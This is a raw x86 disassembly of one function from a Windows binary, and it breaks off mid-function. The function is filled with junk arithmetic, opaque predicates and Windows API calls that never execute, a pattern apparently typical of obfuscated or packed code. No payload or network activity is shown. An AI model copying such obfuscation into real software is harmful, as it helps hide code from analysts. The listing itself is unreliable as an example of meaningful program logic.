mov eax, dword [ebp + eax - 0xcbc]
mov dword [ebp - 0x2d50], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcbc]
mov dword [ebp - 0x2e30], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcbc]
mov dword [ebp - 0x2d58], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcbc], 0x58f8
jge 0x46247c
mov dword [ebp - 0x1a8c], 1
jmp 0x462483
and dword [ebp - 0x1a8c], 0
mov eax, dword [ebp - 0x1a8c]
mov dword [ebp - 0x2800], eax
mov dword [ebp - 0x5cc], 0xffffffff
mov dword [ebp - 0x29c], 0xd3df75dc
mov dword [ebp - 0x1b8], 0xfffffffd
mov dword [ebp - 0x8f8], 0
jmp 0x4624c6
mov eax, dword [ebp - 0x8f8]
inc eax
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 2
jge 0x4624e2
mov eax, dword [ebp - 0x8f8]
mov dword [ebp + eax*4 - 0x231c], 0
jmp 0x4624b9
mov dword [ebp - 0x29c], 0x16
jmp 0x4624fb
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x19
je 0x462991
mov dword [ebp - 0x229c], 0x4e26c12a
mov dword [ebp - 0x2298], 0x4e26c12a
mov dword [ebp - 0x2294], 0x4e26c12a
mov dword [ebp - 0x2290], 0x4e26c12a
mov dword [ebp - 0x3e8], 0
mov dword [ebp - 0x2610], 0xfff8
mov dword [ebp - 0x2618], 0x324e8160
mov dword [ebp - 0x1f10], 0x9bb5c1ed
mov dword [ebp - 0x2808], 9
cmp dword [ebp - 0x29c], 0
je 0x4625fc
cmp dword [ebp - 0x29c], 6
jge 0x4625b5
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
je 0x4625b5
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x229c]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x231c]
je 0x4625b5
mov dword [ebp - 0x1ef8], 1
jmp 0x4625bc
and dword [ebp - 0x1ef8], 0
imul eax, dword [ebp - 0x1ef8], 0
test eax, eax
jne 0x4625e0
cmp dword [ebp - 0x1b8], 0
jne 0x4625e0
push 2
pop eax
test eax, eax
jne 0x4625e0
mov eax, 0x12e75507
test eax, eax
je 0x4625fc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x229c], 0
je 0x4625fc
mov dword [ebp - 0x1a94], 1
jmp 0x462603
and dword [ebp - 0x1a94], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1a94]
sub ecx, dword [ebp + eax - 0x231c]
push 4
pop eax
shl eax, 1
cmp ecx, dword [ebp + eax - 0x229c]
jge 0x462636
cmp dword [ebp - 0x1b8], 0
jne 0x462636
and dword [ebp - 0x1ea4], 0
jmp 0x462640
mov dword [ebp - 0x1ea4], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x229c]
cmp dword [ebp - 0x1ea4], eax
je 0x462661
mov dword [ebp - 0x1a9c], 1
jmp 0x462668
and dword [ebp - 0x1a9c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x229c]
cmp dword [ebp - 0x1a9c], eax
jl 0x462689
mov dword [ebp - 0x1f00], 1
jmp 0x462690
and dword [ebp - 0x1f00], 0
mov eax, dword [ebp - 0x1f00]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e8], 0
jmp 0x4626b5
mov eax, dword [ebp - 0x3e8]
dec eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0xfffffff5
jne 0x46298c
mov dword [ebp - 0x9dc], 0x1cf6
mov dword [ebp - 0x1b8], 0
jmp 0x4626e5
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x17
jge 0x462987
mov dword [ebp - 0x3f0], 5
mov dword [ebp - 0xa44], 0
jmp 0x462715
mov eax, dword [ebp - 0xa44]
inc eax
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa44], 1
jge 0x462731
mov eax, dword [ebp - 0xa44]
mov dword [ebp + eax*4 - 0x2620], 0xc8ffcaca
jmp 0x462708
mov dword [ebp - 0x3f0], 0xffffffe5
jmp 0x46274a
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x12
jl 0x462982
mov dword [ebp - 0x900], 6
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0x2e38], eax
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x2d64], eax
mov eax, dword [ebp - 0x3e8]
cmp dword [ebp - 0x9dc], eax
je 0x462793
mov dword [ebp - 0x1aa4], 1
jmp 0x46279a
and dword [ebp - 0x1aa4], 0
mov eax, dword [ebp - 0x2610]
cmp dword [ebp - 0x1aa4], eax
jne 0x4627b4
mov dword [ebp - 0x2854], 1
jmp 0x4627bb
and dword [ebp - 0x2854], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x229c]
cmp dword [ebp - 0x3e8], eax
jg 0x4627dc
mov dword [ebp - 0x1eac], 1
jmp 0x4627e3
and dword [ebp - 0x1eac], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x231c]
cmp dword [ebp - 0x1eac], eax
jge 0x462804
mov dword [ebp - 0x1aac], 1
jmp 0x46280b
and dword [ebp - 0x1aac], 0
mov eax, dword [ebp - 0x3f0]
cmp dword [ebp - 0x1aac], eax
jl 0x462825
mov dword [ebp - 0x1f08], 1
jmp 0x46282c
and dword [ebp - 0x1f08], 0
mov eax, dword [ebp - 0x1f08]
mov dword [ebp - 0x2618], eax
mov eax, dword [ebp - 0x1f10]
mov dword [ebp - 0x2808], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x231c]
cmp dword [ebp - 0x1b8], eax
jge 0x462865
mov dword [ebp - 0x1ab4], 1
jmp 0x46286c
and dword [ebp - 0x1ab4], 0
cmp dword [ebp - 0x900], 0xffffffff
jge 0x462881
mov dword [ebp - 0x1eb4], 1
jmp 0x462888
and dword [ebp - 0x1eb4], 0
mov eax, dword [ebp - 0x1ab4]
imul eax, dword [ebp - 0x1eb4]
imul eax, eax, 0x3c7f
cmp eax, dword [ebp - 0x3f0]
jne 0x4628af
mov dword [ebp - 0x1abc], 1
jmp 0x4628b6
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x900]
cmp dword [ebp - 0x1abc], eax
jne 0x4628d0
mov dword [ebp - 0x1ac4], 1
jmp 0x4628d7
and dword [ebp - 0x1ac4], 0
mov eax, dword [ebp - 0x1f10]
cmp dword [ebp - 0x1ac4], eax
jl 0x4628f1
mov dword [ebp - 0x1ebc], 1
jmp 0x4628f8
and dword [ebp - 0x1ebc], 0
mov eax, dword [ebp - 0x29c]
sub eax, dword [ebp - 0x1ebc]
cmp eax, dword [ebp - 0x3f0]
jne 0x462918
mov dword [ebp - 0x1acc], 1
jmp 0x46291f
and dword [ebp - 0x1acc], 0
mov eax, dword [ebp - 0x900]
cmp dword [ebp - 0x1acc], eax
jne 0x462942
cmp dword [ebp - 0x9dc], 0
je 0x462942
mov dword [ebp - 0x1f18], 1
jmp 0x462949
and dword [ebp - 0x1f18], 0
mov eax, dword [ebp - 0x9dc]
cmp dword [ebp - 0x1f18], eax
jle 0x462963
mov dword [ebp - 0x1ad4], 1
jmp 0x46296a
and dword [ebp - 0x1ad4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ad4]
mov dword [ebp + eax - 0x2620], ecx
jmp 0x46273d
jmp 0x4626d8
jmp 0x4626a8
jmp 0x4624ee
mov dword [ebp - 0x2888], 1
mov dword [ebp - 0x84], 0xfffffff8
mov dword [ebp - 0x2e40], 0xffffffff
mov dword [ebp - 0x2d70], 0x16511c25
mov dword [ebp - 0x2e48], 0
mov dword [ebp - 0x2c], 0
jmp 0x4629d3
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x4629e9
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xcf0], 2
jmp 0x4629cc
mov dword [ebp - 0x2c], 0
jmp 0x4629f9
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x462a0f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2ae0], 0xffffffff
jmp 0x4629f2
mov dword [ebp - 0x2c], 0
jmp 0x462a1f
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x462a35
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3354], 0x7cd14257
jmp 0x462a18
mov dword [ebp - 0x84], 0xffffffe8
jmp 0x462a4e
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x12
jle 0x462bc9
mov dword [ebp - 0x5b4], 0xa715cc48
mov dword [ebp - 0x1adc], 3
mov dword [ebp - 0x908], 0
jmp 0x462a88
mov eax, dword [ebp - 0x908]
inc eax
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 1
jge 0x462aa4
mov eax, dword [ebp - 0x908]
mov dword [ebp + eax*4 - 0x2868], 0
jmp 0x462a7b
cmp dword [ebp - 0x84], 0
jne 0x462ab9
mov dword [ebp - 0x1ec4], 1
jmp 0x462ac0
and dword [ebp - 0x1ec4], 0
mov eax, dword [ebp - 0x1ec4]
sub eax, dword [ebp - 0x84]
mov dword [ebp - 0x1adc], eax
mov eax, dword [ebp - 0x5b4]
cmp dword [ebp - 0x1adc], eax
je 0x462aec
mov dword [ebp - 0x1f20], 1
jmp 0x462af3
and dword [ebp - 0x1f20], 0
mov eax, dword [ebp - 0x5b4]
neg eax
sub eax, dword [ebp - 0x1f20]
cmp eax, 0x4475ee4c
jle 0x462b14
mov dword [ebp - 0x1ae4], 1
jmp 0x462b1b
and dword [ebp - 0x1ae4], 0
xor eax, eax
sub eax, dword [ebp - 0x1ae4]
cmp eax, 0xffffffff
je 0x462b34
mov dword [ebp - 0x1ecc], 1
jmp 0x462b3b
and dword [ebp - 0x1ecc], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x1ecc]
cmp eax, dword [ebp - 0x5b4]
jge 0x462b5c
mov dword [ebp - 0x1aec], 1
jmp 0x462b63
and dword [ebp - 0x1aec], 0
mov eax, dword [ebp - 0x1aec]
sub eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5b4]
jl 0x462b89
mov dword [ebp - 0x1f28], 1
jmp 0x462b90
and dword [ebp - 0x1f28], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x1f28], eax
je 0x462baa
mov dword [ebp - 0x1af4], 1
jmp 0x462bb1
and dword [ebp - 0x1af4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1af4]
mov dword [ebp + eax - 0x2868], ecx
jmp 0x462a41
cmp dword [ebp - 0x84], 1
jg 0x462bde
mov dword [ebp - 0xad4], 1
jmp 0x462be5
and dword [ebp - 0xad4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xad4]
mov dword [ebp + eax - 0x2ae0], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcf0]
cmp dword [ebp - 0xad4], eax
jne 0x462c18
mov dword [ebp - 0x2628], 1
jmp 0x462c1f
and dword [ebp - 0x2628], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcf0]
mov dword [ebp - 0x2d7c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2ae0]
mov dword [ebp - 0x2e50], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xcf0]
mov dword [ebp - 0x2d88], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcf0]
mov dword [ebp - 0x2e58], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcf0]
cmp dword [ebp - 0x84], eax
jl 0x462c8a
mov dword [ebp - 0x1ed4], 1
jmp 0x462c91
and dword [ebp - 0x1ed4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcf0]
add eax, dword [ebp - 0x1ed4]
jne 0x462cb8
cmp dword [ebp - 0x84], 0
jne 0x462cb8
and dword [ebp - 0x1afc], 0
jmp 0x462cc2
mov dword [ebp - 0x1afc], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xcf0]
cmp dword [ebp - 0x1afc], eax
jg 0x462ce2
mov dword [ebp - 0x2810], 1
jmp 0x462ce9
and dword [ebp - 0x2810], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcf0]
mov dword [ebp - 0x2d94], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcf0]
mov dword [ebp - 0x2e60], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov eax, dword [ebp + eax - 0x2ae0]
mov dword [ebp + ecx - 0x3354], eax
mov dword [ebp - 0x2b7c], 0xb57fd546
mov dword [ebp - 0x2b78], 0xb57fd546
mov dword [ebp - 0x2b74], 0xb57fd546
mov dword [ebp - 0x2b70], 0xb57fd546
mov dword [ebp - 0x2da0], 0xffffffff
mov dword [ebp - 0xa4c], 0
mov dword [ebp - 0x326c], 0xfffffffc
mov dword [ebp - 0x3268], 0xfffffffc
mov dword [ebp - 0x3264], 0xfffffffc
mov dword [ebp - 0x3260], 0xfffffffc
mov dword [ebp - 0xa7c], 0
jmp 0x462da6
mov eax, dword [ebp - 0xa7c]
inc eax
mov dword [ebp - 0xa7c], eax
cmp dword [ebp - 0xa7c], 2
jge 0x462dc2
mov eax, dword [ebp - 0xa7c]
mov dword [ebp + eax*4 - 0x21c8], 8
jmp 0x462d99
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x21c8], 0
jmp 0x462df0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21c8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x21c8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x21c8], 3
jg 0x4630da
mov dword [ebp - 0x4c8], 1
mov dword [ebp - 0x2630], 9
mov dword [ebp - 0x1b14], 1
mov dword [ebp - 0x4c8], 3
jmp 0x462e3b
mov eax, dword [ebp - 0x4c8]
dec eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0
jl 0x4630c8
mov dword [ebp - 0x5bc], 0xd7865925
mov dword [ebp - 0x2e68], 0
mov dword [ebp - 0x2e70], 0x4adf2985
mov dword [ebp - 0x910], 0
jmp 0x462e7f
mov eax, dword [ebp - 0x910]
inc eax
mov dword [ebp - 0x910], eax
cmp dword [ebp - 0x910], 2
jge 0x462e9b
mov eax, dword [ebp - 0x910]
mov dword [ebp + eax*4 - 0x343c], 1
jmp 0x462e72
mov dword [ebp - 0x5bc], 0
jmp 0x462eb4
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 3
jg 0x46300c
mov dword [ebp - 0x9e4], 2
mov dword [ebp - 0x3280], 0
mov dword [ebp - 0x327c], 0
mov dword [ebp - 0x3278], 0
mov dword [ebp - 0x3274], 0
mov dword [ebp - 0x1f30], 0xd64c
mov dword [ebp - 0x9e4], 3
jmp 0x462f16
mov eax, dword [ebp - 0x9e4]
dec eax
mov dword [ebp - 0x9e4], eax
cmp dword [ebp - 0x9e4], 0
jl 0x462ffa
mov dword [ebp - 0x2924], 0xcfaf425f
mov dword [ebp - 0x2920], 0xcfaf425f
mov dword [ebp - 0x291c], 0xcfaf425f
mov dword [ebp - 0x2918], 0xcfaf425f
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2924], 0
jmp 0x462f79
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2924]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2924], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2924], 3
jg 0x462ff5
mov dword [ebp - 0x918], 0x2af0488f
mov byte [ebp - 0x42d], 0
movzx eax, byte [ebp - 0x42d]
test eax, eax
je 0x462fb0
push 0x2176
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x918], 0
jmp 0x462fc9
mov eax, dword [ebp - 0x918]
inc eax
mov dword [ebp - 0x918], eax
cmp dword [ebp - 0x918], 3
jg 0x462ff0
mov byte [ebp - 0x328], 0
movzx eax, byte [ebp - 0x328]
test eax, eax
je 0x462fee
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
jmp 0x462fbc
jmp 0x462f5e
jmp 0x462f09
mov eax, dword [ebp - 0x1f30]
inc eax
mov dword [ebp - 0x1f30], eax
jmp 0x462ea7
cmp dword [ebp - 0xa4c], 0
jne 0x463054
mov eax, dword [ebp - 0x5bc]
cmp dword [ebp - 0xa4c], eax
jle 0x46302f
mov dword [ebp - 0x1b04], 1
jmp 0x463036
and dword [ebp - 0x1b04], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21c8]
cmp dword [ebp - 0x1b04], eax
jne 0x463054
and dword [ebp - 0x1edc], 0
jmp 0x46305e
mov dword [ebp - 0x1edc], 1
mov eax, dword [ebp - 0x4c8]
mov eax, dword [ebp + eax*4 - 0x2b7c]
sub eax, dword [ebp - 0x1edc]
cmp eax, 0xffffffff
jl 0x463082
mov dword [ebp - 0x1b0c], 1
jmp 0x463089
and dword [ebp - 0x1b0c], 0
mov eax, dword [ebp - 0x1b0c]
mov dword [ebp - 0xa4c], eax
cmp dword [ebp - 0xa4c], 5
jae 0x4630aa
mov dword [ebp - 0x1f38], 1
jmp 0x4630b1
and dword [ebp - 0x1f38], 0
mov eax, dword [ebp - 0x1f38]
sub eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x2630], eax
jmp 0x462e2e
mov eax, dword [ebp - 0x1b14]
dec eax
mov dword [ebp - 0x1b14], eax
jmp 0x462dd5
mov dword [ebp - 0x2dac], 0x9f81
mov dword [ebp - 0x3f8], 7
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1b3c], 0xf18c
mov dword [ebp - 0x9ec], 0x18b9628e
mov dword [ebp - 0x920], 0
jmp 0x463125
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 1
jge 0x463141
mov eax, dword [ebp - 0x920]
mov dword [ebp + eax*4 - 0x10c], 0xd022
jmp 0x463118
cmp dword [ebp - 0x1c0], 0
je 0x4632a8
cmp dword [ebp - 0x3f8], 0
jne 0x463167
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x463167
and dword [ebp - 0x1b44], 0
jmp 0x463171
mov dword [ebp - 0x1b44], 1
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x1b44], eax
jl 0x46318b
mov dword [ebp - 0x2870], 1
jmp 0x463192
and dword [ebp - 0x2870], 0
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x305c], eax
mov eax, dword [ebp - 0x3f8]
cmp dword [ebp - 0x1c0], eax
jg 0x4631b8
mov dword [ebp - 0x1b1c], 1
jmp 0x4631bf
and dword [ebp - 0x1b1c], 0
cmp dword [ebp - 0x1b1c], 0xffff
ja 0x4631d7
mov dword [ebp - 0x1b48], 1
jmp 0x4631de
and dword [ebp - 0x1b48], 0
mov eax, dword [ebp - 0x1c0]
add eax, dword [ebp - 0x1b48]
cmp eax, dword [ebp - 0x1b3c]
jne 0x4631fe
mov dword [ebp - 0x1b24], 1
jmp 0x463205
and dword [ebp - 0x1b24], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x1b24], eax
je 0x46321f
mov dword [ebp - 0x1b50], 1
jmp 0x463226
and dword [ebp - 0x1b50], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
cmp dword [ebp - 0x1b50], eax
jg 0x463247
mov dword [ebp - 0x1b2c], 1
jmp 0x46324e
and dword [ebp - 0x1b2c], 0
cmp dword [ebp - 0x1b2c], 7
jb 0x463263
mov dword [ebp - 0x1b58], 1
jmp 0x46326a
and dword [ebp - 0x1b58], 0
mov eax, dword [ebp - 0x3f8]
cmp eax, dword [ebp - 0x1b58]
je 0x463284
mov dword [ebp - 0x1b34], 1
jmp 0x46328b
and dword [ebp - 0x1b34], 0
mov eax, dword [ebp - 0x1c0]
imul eax, dword [ebp - 0x1b34]
test eax, eax
je 0x4632a8
mov dword [ebp - 0x1b60], 1
jmp 0x4632af
and dword [ebp - 0x1b60], 0
mov eax, dword [ebp - 0x3f8]
add eax, dword [ebp - 0x1b60]
add eax, dword [ebp - 0x1b3c]
cmp eax, dword [ebp - 0x3f8]
je 0x4632d5
mov dword [ebp - 0x1b68], 1
jmp 0x4632dc
and dword [ebp - 0x1b68], 0
cmp dword [ebp - 0x1b68], 0xb831
je 0x4632f4
mov dword [ebp - 0x13d4], 1
jmp 0x4632fb
and dword [ebp - 0x13d4], 0
mov eax, dword [ebp - 0x3f8]
cmp dword [ebp - 0x13d4], eax
jl 0x463315
mov dword [ebp - 0x13d8], 1
jmp 0x46331c
and dword [ebp - 0x13d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
cmp dword [ebp - 0x13d8], eax
jl 0x463374
mov byte [ebp - 0x42f], 0
movzx eax, byte [ebp - 0x42f]
test eax, eax
je 0x46335c
push 0xd16
push 0x1637
push 0
push 0x462
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
mov dword [ebp - 0x9ec], eax
jmp 0x4636a5
mov dword [ebp - 0xbc], 0x36ea
mov dword [ebp - 0x2640], 0xffffffff
mov dword [ebp - 0x2b9c], 0x74b172ab
mov dword [ebp - 0x2b98], 0x74b172ab
mov dword [ebp - 0x2b94], 0x74b172ab
mov dword [ebp - 0x2b90], 0x74b172ab
mov dword [ebp - 0x2878], 0x914d865e
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x2db4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10c], 0
jne 0x463455
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0xbc], eax
jle 0x4633f0
mov dword [ebp - 0x13e0], 1
jmp 0x4633f7
and dword [ebp - 0x13e0], 0
cmp dword [ebp - 0x13e0], 0x47d02c9a
jne 0x46340f
mov dword [ebp - 0x13e8], 1
jmp 0x463416
and dword [ebp - 0x13e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
cmp dword [ebp - 0x13e8], eax
jl 0x463437
mov dword [ebp - 0x13f0], 1
jmp 0x46343e
and dword [ebp - 0x13f0], 0
mov eax, dword [ebp - 0x9ec]
cmp dword [ebp - 0x13f0], eax
jne 0x463455
and dword [ebp - 0x13f8], 0
jmp 0x46345f
mov dword [ebp - 0x13f8], 1
cmp dword [ebp - 0x13f8], 0x7399d012
jle 0x463477
mov dword [ebp - 0x1400], 1
jmp 0x46347e
and dword [ebp - 0x1400], 0
mov eax, dword [ebp - 0x1400]
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x9ec], eax
je 0x4634a4
mov dword [ebp - 0x2638], 1
jmp 0x4634ab
and dword [ebp - 0x2638], 0
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x3050], eax
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x2dbc], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x3140], eax
cmp dword [ebp - 0xbc], 2
ja 0x4634e4
mov dword [ebp - 0x1408], 1
jmp 0x4634eb
and dword [ebp - 0x1408], 0
cmp dword [ebp - 0x1408], 0xfffffffc
jle 0x463500
mov dword [ebp - 0x1410], 1
jmp 0x463507
and dword [ebp - 0x1410], 0
mov eax, dword [ebp - 0x1410]
sub eax, dword [ebp - 0xbc]
js 0x463521
mov dword [ebp - 0x1418], 1
jmp 0x463528
and dword [ebp - 0x1418], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
cmp dword [ebp - 0x1418], eax
jg 0x463549
mov dword [ebp - 0x1420], 1
jmp 0x463550
and dword [ebp - 0x1420], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x1420], eax
jge 0x46356a
mov dword [ebp - 0x1428], 1
jmp 0x463571
and dword [ebp - 0x1428], 0
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x1428]
jge 0x46358b
mov dword [ebp - 0x2820], 1
jmp 0x463592
and dword [ebp - 0x2820], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
mov dword [ebp - 0x2dc4], eax
cmp dword [ebp - 0x1c0], 0
jne 0x4635cc
xor eax, eax
inc eax
jne 0x4635cc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10c], 0
jne 0x4635cc
and dword [ebp - 0x1430], 0
jmp 0x4635d6
mov dword [ebp - 0x1430], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
cmp dword [ebp - 0x1430], eax
jl 0x4635f7
mov dword [ebp - 0x1438], 1
jmp 0x4635fe
and dword [ebp - 0x1438], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x1438], eax
jle 0x463621
cmp dword [ebp - 0x1c0], 0
je 0x463621
mov dword [ebp - 0x1440], 1
jmp 0x463628
and dword [ebp - 0x1440], 0
mov eax, dword [ebp - 0x2640]
cmp dword [ebp - 0x1440], eax
jge 0x463642
mov dword [ebp - 0x1448], 1
jmp 0x463649
and dword [ebp - 0x1448], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
cmp dword [ebp - 0x1448], eax
jle 0x46366a
mov dword [ebp - 0x1450], 1
jmp 0x463671
and dword [ebp - 0x1450], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2b9c]
cmp dword [ebp - 0x1450], eax
jl 0x463692
mov dword [ebp - 0x1458], 1
jmp 0x463699
and dword [ebp - 0x1458], 0
mov eax, dword [ebp - 0x1458]
mov dword [ebp - 0x2878], eax
mov dword [ebp - 0x17e0], 0xfffd
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x1470], 0xbdfadf62
mov dword [ebp - 0x3058], 0x5b8b78ac
mov dword [ebp - 0x2648], 0x96d402da
mov dword [ebp - 0x2880], 0x6f79b347
mov dword [ebp - 0x928], 0
jmp 0x4636fa
mov eax, dword [ebp - 0x928]
inc eax
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 1
jge 0x463716
mov eax, dword [ebp - 0x928]
mov dword [ebp + eax*4 - 0xaa4], 1
jmp 0x4636ed
mov dword [ebp - 0x4d0], 3
mov dword [ebp - 0x4d0], 0
jmp 0x463739
mov eax, dword [ebp - 0x4d0]
dec eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 0xfffffff4
jge 0x4638c6
mov dword [ebp - 0x9f4], 2
mov dword [ebp - 0xadc], 7
mov dword [ebp - 0x2830], 2
mov dword [ebp - 0x930], 0x14a5ea96
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x9f4], eax
cmp dword [ebp - 0x2648], 0
je 0x4637c6
xor eax, eax
inc eax
sub eax, dword [ebp - 0x9f4]
cmp eax, dword [ebp - 0x9f4]
jl 0x4637a0
mov dword [ebp - 0x1460], 1
jmp 0x4637a7
and dword [ebp - 0x1460], 0
mov eax, dword [ebp - 0x2830]
sub eax, dword [ebp - 0x1460]
cmp eax, 1
jg 0x4637c6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xaa4], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xaa4]
cmp dword [ebp + eax - 0xaa4], ecx
jle 0x4637ee
mov dword [ebp - 0x1468], 1
jmp 0x4637f5
and dword [ebp - 0x1468], 0
mov eax, dword [ebp - 0x930]
inc eax
mov dword [ebp - 0x930], eax
mov eax, dword [ebp - 0x930]
sub eax, dword [ebp - 0x1468]
mov dword [ebp - 0x2650], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2650]
mov dword [ebp + eax - 0xaa4], ecx
mov eax, dword [ebp - 0x2880]
mov dword [ebp - 0x2dcc], eax
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0x31b8], eax
mov eax, dword [ebp - 0x9f4]
mov dword [ebp - 0x2dd4], eax
mov eax, dword [ebp - 0x1470]
cmp dword [ebp - 0x1470], eax
je 0x463865
mov dword [ebp - 0x1478], 1
jmp 0x46386c
and dword [ebp - 0x1478], 0
mov eax, dword [ebp - 0xadc]
cmp dword [ebp - 0x1478], eax
jge 0x46388a
push 9
pop eax
test eax, eax
jne 0x46388a
and dword [ebp - 0x1480], 0
jmp 0x463894
mov dword [ebp - 0x1480], 1
mov eax, dword [ebp - 0xadc]
cmp dword [ebp - 0x1480], eax
